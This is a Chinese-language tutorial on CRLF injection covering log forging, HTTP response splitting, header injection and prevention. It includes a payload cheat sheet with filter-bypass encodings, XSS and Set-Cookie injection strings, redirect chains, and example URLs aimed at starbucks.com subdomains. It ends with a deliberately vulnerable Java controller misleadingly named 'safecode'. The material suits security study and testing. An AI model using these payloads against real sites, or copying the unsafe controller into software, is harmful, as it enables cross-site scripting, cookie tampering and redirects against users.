CRLF (%0D%0A) Injection
什么是CRLF？
当浏览器向Web服务器发送请求时，Web服务器用包含HTTP响应标头和实际网站内容（即响应正文）的响应进行答复。HTTP标头和HTML响应（网站内容）由特殊字符的特定组合分隔，即回车符和换行符。简而言之，它们也称为CRLF。
Web服务器使用CRLF来了解新的HTTP标头何时开始以及另一个标头何时结束。CRLF还可以告诉Web应用程序或用户，新行以文件或文本块开头。CRLF字符是标准的HTTP / 1.1消息，因此任何类型的Web服务器都可以使用它，包括Apache，Microsoft IIS以及所有其他服务器
什么是CRLF注入漏洞？
在CRLF注入漏洞攻击中，攻击者将回车符和换行符插入用户输入中，以欺骗服务器，Web应用程序或用户以为对象已终止而另一个已启动。因此，CRLF序列不是恶意字符，但是它们可用于恶意目的，HTTP响应拆分等。
Web应用程序中的CRLF注入
在Web应用程序中，CRLF注入会产生严重影响，具体取决于应用程序对单个项目的处理方式。影响范围可能从信息泄露到代码执行，直接影响Web应用程序安全漏洞。实际上，即使CRLF注入攻击从未在OWASP十大列表中未列出，它也会对Web应用程序产生非常严重的影响。例如，也可以按照以下示例中的说明在管理面板中操作日志文件。
日志文件中的CRLF注入示例
想象一下管理面板中的日志文件，其输出流模式为IP-时间-访问路径，如下所示：
123.123.123.123 - 08:15 - /index.php?page=home如果攻击者能够将CRLF字符注入HTTP请求，则他可以更改输出流并伪造日志条目。他可以将Webs应用程序的响应更改为以下内容：
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit％0d和％0a是CR和LF的url编码形式。因此，在攻击者插入这些字符并由应用程序显示之后，日志条目将如下所示：
IP-时间-访问路径
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit因此，通过利用CRLF注入漏洞，攻击者可以伪造日志文件中的条目，以掩饰自己的恶意行为。攻击者实际上是在进行页面劫持并修改响应。例如，设想一种情形，攻击者拥有管理员密码并执行了strictedaction参数，该参数只能由管理员使用。
问题是，如果管理员注意到未知IP使用了strictedaction参数，则会注意到出了点问题。但是，由于现在看来该命令是由本地主机发出的（因此可能是由有权访问服务器的人（例如管理员）发出的），因此看起来并不可疑。
服务器将从％0d％0a开始的整个查询部分作为一个参数进行处理。之后，还有另一个带有参数strictedaction的＆将被服务器解析为另一个参数。实际上，这将与以下查询相同：
/index.php?page=home&restrictedaction=editHTTP响应拆分
描述
由于HTTP响应的标头及其主体由CRLF字符分隔，因此攻击者可以尝试注入这些响应。CRLFCRLF的组合将告诉浏览器标题结束并且主体开始。这意味着他现在能够在存储html代码的响应主体内写入数据。这可能会导致跨站点脚本漏洞。
导致XSS的HTTP响应拆分示例
想象一个设置自定义标题的应用程序，例如：
X-Your-Name: Bob标头的值是通过名为“名称”的get参数设置的。如果没有URL编码，并且该值直接反映在标头内，则攻击者可能会插入上述CRLFCRLF组合以告知浏览器请求主体开始。这样，他就可以插入诸如XSS有效负载之类的数据，例如：
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>上面将在受攻击域的上下文中显示一个警报窗口。
实战案例：
服务器通过在响应中注入CRLF字符来响应此请求，您将发现已在http响应中设置了“位置” http标头，并通过CRLF注入了值“http://www.evilzone.org”屏幕下方的有效载荷
成功重定向到了攻击者网站“ evilzone.org”。
EXP：
/%0d%0aLocation:%20http://myweb.comLocation: http://myweb.comhttp://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E您可以在URL路径内发送有效负载，以控制来自服务器的响应：
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3EHTTP标头注入
描述
通过利用CRLF注入，攻击者还可以插入HTTP标头，这些标头可用于破坏安全机制，例如浏览器的XSS过滤器或同源策略。这使攻击者可以获得诸如CSRF令牌之类的敏感信息。他还可以设置cookie，可以通过将受害者登录到攻击者的帐户中或利用其他无法利用的跨站点脚本（XSS）漏洞来利用这些cookie 。
HTTP标头注入示例以提取敏感数据
如果攻击者能够注入可激活CORS（跨源资源共享）的HTTP标头，则他可以使用javascript来访问受SOP（相同源策略）保护的资源，从而防止来自不同源的站点之间的相互访问。
CRLF注入漏洞的影响
CRLF注入的影响各不相同，并且还包括跨站点脚本对信息披露的所有影响。它还可以在受害者的浏览器中停用某些安全限制，例如XSS筛选器和“相同来源策略”，使它们容易受到恶意攻击。
如何防止Web应用程序中的CRLF / HTTP标头注入
最好的预防方法是不要直接在响应头中使用用户输入。如果不可能，则应始终使用函数对CRLF特殊字符进行编码。另一个好的Web应用程序安全性最佳实践是将您的编程语言更新为不允许CR和LF注入设置HTTP标头的函数中的版本。
CHEATSHEET
%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
%0d%0aheader:header
%0aheader:header
%0dheader:header
%23%0dheader:header
%3f%0dheader:header
/%250aheader:header
/%25250aheader:header
/%%0a0aheader:header
/%3f%0dheader:header
/%23%0dheader:header
/%25%30aheader:header
/%25%30%61header:header
/%u000aheader:header
Filter Bypass
%E5%98%8A = %0A = \u560a
%E5%98%8D = %0D = \u560d
%E5%98%BE = %3E = \u563e (>)
%E5%98%BC = %3C = \u563c (<)
Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
CRLF与Open Redirect服务器错误配置链接在一起
//www.google.com/%2f%2e%2e%0d%0aheader:header
/www.google.com/%2e%2e%2f%0d%0aheader:header
/google.com/%2F..%0d%0aheader:header
%E5%98%8A%E5%98%8Dheader:header
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
在位置标头之前在302重定向上拆分响应（在DoD中发现）
%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E
响应拆分为301代码，与“打开重定向”链接到损坏的位置标头，并通过@ black2fan破坏301（Facebook错误）
注意：xxx:1用于断开打开的重定向目标（Location标头）。一个很好的例子，如何将CRLF升级到XSS，似乎是无法利用的301状态代码。
%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr在CTF中要想迅速找到CRLF 可以看这里：
https://github.com/dwisiswant0/crlfuzz相关练习代码来自github师傅:
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@Controller
@RequestMapping("/crlf")
public class CRLFInjection {
@RequestMapping("/safecode")
@ResponseBody
public void crlf(HttpServletRequest request, HttpServletResponse response) {
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
Cookie cookie = new Cookie("test3", author);
response.addCookie(cookie);
}
}